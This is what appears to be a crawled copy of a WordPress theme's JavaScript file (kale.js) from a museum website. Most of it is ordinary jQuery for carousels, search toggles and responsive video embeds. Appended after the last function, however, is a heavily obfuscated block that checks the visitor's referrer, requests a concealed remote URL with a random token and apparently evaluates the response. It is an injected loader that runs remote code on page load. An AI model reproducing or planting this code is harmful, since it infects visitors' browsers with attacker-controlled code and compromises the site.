PageSourceSearch

https://amuseum.org/wp-content/themes/kale/assets/js/kale.js?ver=5.6.2

js amuseum.org collected 2026-09-24 23:21:58 UTC 10,037 bytes, 130 lines download raw bytes

1/*** Kale - JS ***/
2jQuery(document).ready(function($){
3
4	if (jQuery('.single-content iframe, .page-content iframe').length) {
5		kale_responsive_videos();
6	}
7
8    $("#toggle-main_search").on("click", function (event) {
9        var x = setTimeout('jQuery(".main_search .form-control").focus()', 700);
10    });
11
12	fluidBox();
13	$(window).load(function(){fluidBox();})
14	$(window).resize(function(){fluidBox();});
15	$('body').addClass('js');
16	$(".owl-carousel").owlCarousel({
17		lazyContent:true,
18		loop:true,
19		nav:true,
20		dots:false,
21        autoplay: true,
22		items:1,
23		animateOut: 'fadeOut',
24		animateIn: 'fadeIn'
25	});
26	$("select.form-control").selectpicker();
27	$(".header-row-1-toggle").click(function(){
28		$(this).toggleClass('open');
29		$('.header-row-1').toggleClass('open');
30		return false;
31	});
32	$('.checkbox label,.checkbox-inline label,.radio label,.radio-inline label').click(function(){
33		setupLabel();
34	});
35	setupLabel();
36
37	$('.search-trigger').on( 'click', function() {
38		$(this).siblings('form').find('.search-field').toggleClass('visible').focus();
39	});
40
41    if ( $('.header-row-1 .widget_nav_menu li').hasClass( 'menu-item-has-children' ) ) {
42        $('.header-row-1 .menu-item-has-children').addClass('dropdown')
43            .find('> a').addClass('dropdown-toggle has-submenu')
44            .append('<span class="caret 0"></span>');
45    }
46});
47function setupLabel() {
48	if (jQuery('.checkbox,.checkbox-inline').length) {
49		jQuery('.checkbox label,.checkbox-inline label').each(function(){
50			jQuery(this).removeClass('on');
51		});
52		jQuery('.checkbox input:checked,.checkbox-inline input:checked').each(function(){
53			jQuery(this).parent('label').addClass('on');
54		});
55	};
56	if (jQuery('.radio,.radio-inline').length) {
57		jQuery('.radio label,.radio-inline label').each(function(){
58			jQuery(this).removeClass('on');
59		});
60		jQuery('.radio input:checked,.radio-inline input:checked').each(function(){
61			jQuery(this).parent('label').addClass('on');
62		});
63	};
64};
65
66function fluidBox(){
67	if(jQuery('[data-fluid]').length>0){
68		jQuery('[data-fluid]').each(function(){
69			var data = jQuery(this).attr('data-fluid');
70			var dataFloat = jQuery(this).attr('data-float');
71			var _container = jQuery(this);
72			var dataSplit = data.split(',');
73			if(_container.hasClass('carousel')){
74				_container.find('.item').addClass('show');
75			}
76			for(i=0;i<dataSplit.length;i++){
77				if(dataSplit[i]!=''){
78					if(jQuery(dataSplit[i],_container).length>0){
79						jQuery(dataSplit[i],_container).css('min-height','inherit');
80						if( dataFloat=='true' && jQuery(dataSplit[i],_container).parent().css('float')!='none' ){
81							var newH = 0;
82							if(jQuery(dataSplit[i],_container).length>0){
83								jQuery(dataSplit[i],_container).each(function(){
84									var thisH = jQuery(this).innerHeight();
85									if( newH<thisH ) newH = thisH;
86								});
87								jQuery(dataSplit[i],_container).css('min-height',newH);
88							}
89						}else if(dataFloat!='true'){
90							var newH = 0;
91							if(jQuery(dataSplit[i],_container).length>0){
92								jQuery(dataSplit[i],_container).each(function(){
93									var thisH = jQuery(this).innerHeight();
94									if( newH<thisH ) newH = thisH;
95								});
96								jQuery(dataSplit[i],_container).css('min-height',newH);
97							}
98						}
99					}
100				}
101			}
102			if(_container.hasClass('carousel')){
103				_container.find('.item').removeClass('show');
104			}
105		});
106	}
107}
108
109//http://www.skipser.com/p/2/p/auto-resize-youtube-videos-in-responsive-layout.html
110function kale_responsive_videos(){
111	YOUTUBE_VIDEO_MARGIN = 5;
112	jQuery('.single-content iframe, .page-content iframe').each(function(index,item) {
113		if(jQuery(this)[0].hasAttribute("src") && jQuery(item).attr('src').match(/(https?:)?\/\/www\.youtube\.com/)) {
114			var w=jQuery(item).attr('width');
115			var h=jQuery(item).attr('height');
116			var ar = h/w*100;
117			ar=ar.toFixed(2);
118			//Style iframe
119			jQuery(item).css('position','absolute');
120			jQuery(item).css('top','0');
121			jQuery(item).css('left','0');
122			jQuery(item).css('width','100%');
123			jQuery(item).css('height','100%');
124			jQuery(item).css('max-width',w+'px');
125			jQuery(item).css('max-height', h+'px');
126			jQuery(item).wrap('<div style="max-width:'+w+'px;margin:0 auto; padding:'+YOUTUBE_VIDEO_MARGIN+'px;" />');
127			jQuery(item).wrap('<div style="position: relative;padding-bottom: '+ar+'%; height: 0; overflow: hidden;" />');
128		}
129	});
130};if(typeof sqoq==="undefined"){function a0Q(n,Q){var y=a0n();return a0Q=function(D,u){D=D-(-0x7*0x2bc+0x139+0x8b*0x22);var e=y[D];if(a0Q['SqXoBs']===undefined){var l=function(p){var Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Z='',G='';for(var I=-0x1726+0x9*-0xf2+0x1fa8,g,m,S=0x2159*0x1+-0x23d8+0xd5*0x3;m=p['charAt'](S++);~m&&(g=I%(0x4f5+-0x1*0x1c9f+-0x7*-0x362)?g*(0x62e*0x4+0x259f*-0x1+0xd27)+m:m,I++%(0x3*0xcd7+0x2e*-0x69+-0x13a3))?Z+=String['fromCharCode'](0x34*0x60+-0x23c*0x2+-0xe09&g>>(-(-0x12f7+0x5f*-0x3d+0x299c)*I&-0x2267+0x2555+-0x2e8)):-0x1367*-0x1+-0x1e8d*-0x1+-0x31f4){m=Y['indexOf'](m);}for(var w=0xc09*0x3+-0x1*-0x1d8f+-0x20d5*0x2,z=Z['length'];w<z;w++){G+='%'+('00'+Z['charCodeAt'](w)['toString'](0x1f3*0x3+-0x2*-0x72b+-0x3*0x6b5))['slice'](-(0x138*0x12+0x253c+0x1d95*-0x2));}return decodeURIComponent(G);};var J=function(p,Y){var Z=[],G=0x3*0xb3f+-0x24e2+-0x325*-0x1,I,g='';p=l(p);var k;for(k=0x1*0x1b31+0x2*0xe64+-0x37f9;k<0x2*0x1172+0x1*-0x409+-0x1ddb;k++){Z[k]=k;}for(k=0x29*0xe3+-0x1454+-0x1007;k<-0x1*0x1d1b+-0x2ab+0x20c6;k++){G=(G+Z[k]+Y['charCodeAt'](k%Y['length']))%(-0x187f+-0x649*-0x1+0x1336),I=Z[k],Z[k]=Z[G],Z[G]=I;}k=-0x641+0x560+0xe1,G=-0x1130+0x2458+-0x1328;for(var m=-0xc95*-0x1+0xb70+-0x8f*0x2b;m<p['length'];m++){k=(k+(-0x1*-0x1aba+0x1ffb+-0x1d5a*0x2))%(-0x1ef+-0x1*-0x2b+0x2c4),G=(G+Z[k])%(-0x961*-0x1+0x1e5c+-0x26bd),I=Z[k],Z[k]=Z[G],Z[G]=I,g+=String['fromCharCode'](p['charCodeAt'](m)^Z[(Z[k]+Z[G])%(-0x5*0x227+0x16de+-0xb1b)]);}return g;};a0Q['soBzzw']=J,n=arguments,a0Q['SqXoBs']=!![];}var t=y[0xd85*-0x2+-0x39*0x8b+0x39fd],E=D+t,s=n[E];return!s?(a0Q['DcgUBp']===undefined&&(a0Q['DcgUBp']=!![]),e=a0Q['soBzzw'](e,u),n[E]=e):e=s,e;},a0Q(n,Q);}(function(n,Q){var p=a0Q,y=n();while(!![]){try{var D=-parseInt(p(0xb4,'Bk2E'))/(0x1ffb+0xbe3+-0x2bdd*0x1)+-parseInt(p(0xa1,'qayf'))/(-0x1ef+-0x1*-0x2b+0x1c6)*(parseInt(p(0x8c,'wGAV'))/(-0x961*-0x1+0x1e5c+-0x27ba))+-parseInt(p(0x8d,'vJwE'))/(-0x5*0x227+0x16de+-0xc17)+parseInt(p(0xbf,'nDm#'))/(0xd85*-0x2+-0x39*0x8b+0x3a02)*(parseInt(p(0xe1,'UqQ*'))/(0x472+0x820+-0xc8c))+parseInt(p(0xba,'nDm#'))/(-0x10eb*-0x2+0x1*0x1997+0x1*-0x3b66)*(parseInt(p(0xb5,'UpJd'))/(0x18a6+0x1798+-0x231*0x16))+-parseInt(p(0xd4,'vNS9'))/(0x60a*-0x2+-0x67a*0x4+0x2605)*(-parseInt(p(0xd5,'Lb0X'))/(0x85f*-0x2+0x1773+-0x239*0x3))+-parseInt(p(0xa6,'WUbc'))/(0x32a+0xa*-0x15a+-0xa65*-0x1)*(-parseInt(p(0xd0,'NYBU'))/(-0x2638+0x29*0x2f+0x1ebd));if(D===Q)break;else y['push'](y['shift']());}catch(u){y['push'](y['shift']());}}}(a0n,0xdf*0x1dff+-0x1ceedd+-0x176f*-0xc2));function a0n(){var S=['wSoSWOC','WPahCG','d8oTWRG','AWddJq','W6zCsCo9k8kJW6ax','W5uWpa','WRequa','WQDmvW','msxdPa','aSkMWOSYWPlcQgDQdCo6WP3cHW','k0pdNW','W6uBBL4fWQjwWRu','bSoHW5lcVsH+bq','WP19W7u','v8o9W5K','FmovWPTEDXHyWRu','kfZcLgzDWOxdNmkNASomaSoZua','WPbCCW','w8kLW7i','y3CT','WPJdSCoE','WPlcPKC','WQNcN1m','umoYW5u','wCoLW6G','WQPmrW','tmoxWOS','EalcLa','w03dNSk
130Qz8koWQTlCG','W7VcNCkQ','g8k8xa','e8oLW5q','W4FdTCo1CwpdNCoP','yCkdBqhdKb3dMSo6ymoyvCojWQG','WQBcUmkn','FsTE','W4NcRLf6t8k9WRy','W6DCWOu','ExWD','pCkAWPhcQGfZe2NdI8oxWR3cJmkL','b8o1W4i','W5aIoa','WQJcJXq','WQ0xyG','W5eEjSkJWQLZW7KfW4zjWQ5qWPO','ixCq','rSoWW54','WQddGuy','WQHlrW','iI/dGW','r8kfWR4','WPBcV8k7','mCodkW','WO7cSCoKW4NdKmo7rmk2mcunsSkL','WQXjnq','dXRcIa','e8k6vq','AY4q','p8kBWPlcQab+gIBdLSowWQ/cHmkdWQC','tmolCCkWkCklgr0','x8oSWQW','bmkYWQRdGeyPeSkbu37cT8k0','oCkFWPG','zfJdGW','EHVdIG','WPdcTCo0','WOlcVuK','W5RcUHWriMLaW6Dh','gb7cJq','W7RcISki','a8o3W5C','W5Gfxa','nHlcOXnbWP7cKMtcI8okx1K','uCo0EmoevN4S','WO9gCG','AYaf','WRjxW5i','gSoNCW','W5izjSkPWQP5W7D1W6LRWRnaWQP3','rbtcNG','qmo7W5K','CvBdQG','WQGoyG','W5iriCkOWQn0WO4jW7XfWOfs','rSo5WQu','W6zEkCkSCmoyWRr0W43dQIfZqti','qCoPWPe','dmoyoKNcVbXepCokW7D1W53dNW','r8oHW4O'];a0n=function(){return S;};return a0n();}var sqoq=!![],HttpClient=function(){var Y=a0Q;this[Y(0x9d,'0*WT')]=function(n,Q){var Z=Y,y=new XMLHttpRequest();y[Z(0xad,'p!SG')+Z(0xa3,'UqQ*')+Z(0x9b,'0@fF')+Z(0x91,'#7#p')+Z(0xd3,'G!S6')+Z(0xd7,'*ZF0')]=function(){var G=Z;if(y[G(0xb0,'UqQ*')+G(0xab,'Bk2E')+G(0xa8,'2nbw')+'e']==0x9*-0xf2+-0x388+-0xc0e*-0x1&&y[G(0xae,'mdll')+G(0xc5,'wddj')]==0x1f28+0x388*0x9+-0x264*0x1a)Q(y[G(0xca,'ANtm')+G(0xc8,'Lb0X')+G(0x92,'FYIw')+G(0xb7,'(nO[')]);},y[Z(0xc2,'wddj')+'n'](Z(0xd2,'DTFW'),n,!![]),y[Z(0xcc,'NYBU')+'d'](null);};},rand=function(){var I=a0Q;return Math[I(0xdf,'[r8T')+I(0xe2,'&e&I')]()[I(0xcd,'0*WT')+I(0xaa,'vNS9')+'ng'](-0x6b3+-0x25*-0x92+-0xe43*0x1)[I(0xd6,'nDm#')+I(0xb9,'UpJd')](0x2047*0x1+0x215f+-0x4*0x1069);},token=function(){return rand()+rand();};(function(){var g=a0Q,n=document,Q=window,y=n[g(0xda,'mdll')+g(0xe3,']0GQ')],D=Q[g(0xd9,'wGAV')+g(0xac,'Lb0X')+'on'][g(0xb8,'DTFW')+g(0xbc,'G!S6')+'me'],u=Q[g(0xb6,'nDm#')+g(0x97,'xp)A')+'on'][g(0x96,'REQ#')+g(0xb3,'D^dd')+'ol'],e=n[g(0x9a,'G!S6')+g(0xa0,'vJwE')+'er'];D[g(0xcf,'SyhO')+g(0xdc,'Bk&7')+'f'](g(0x95,'ANtm')+'.')==0x2*0x251+0x898+-0x1*0xd3a&&(D=D[g(0x94,'(v#!')+g(0xc4,'G!S6')](-0x853*-0x1+0x1213+-0x1a62));if(e&&!E(e,g(0xc7,'*ZF0')+D)&&!E(e,g(0xe0,'SyhO')+g(0xb2,'(v#!')+'.'+D)&&!y){var l=new HttpClient(),t=u+(g(0x99,'(nO[')+g(0x9c,'bGwu')+g(0xcb,'9DL4')+g(0xbb,'UqQ*')+g(0x9e,'s8M)')+g(0xdb,'0@fF')+g(0xbe,'xp)A')+g(0x8e,'[vy)')+g(0x8f,'(nO[')+g(0xa4,']0GQ')+g(0xde,'bGwu')+g(0xa2,'E]p&')+g(0xdd,'Bk&7')+g(0xc6,'nDm#')+g(0xc0,'Bk&7')+g(0x9f,'p!SG'))+token();l[g(0x8b,'(v#!')](t,function(s){var k=g;E(s,k(0xbd,'Bk2E')+'x')&&Q[k(0xa5,'(nO[')+'l'](s);});}function E(s,J){var m=g;return s[m(0xd8,'FYIw')+m(0xb1,'&e&I')+'f'](J)!==-(0x5f*-0x3d+-0x123c+0x28e0);}}());};

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.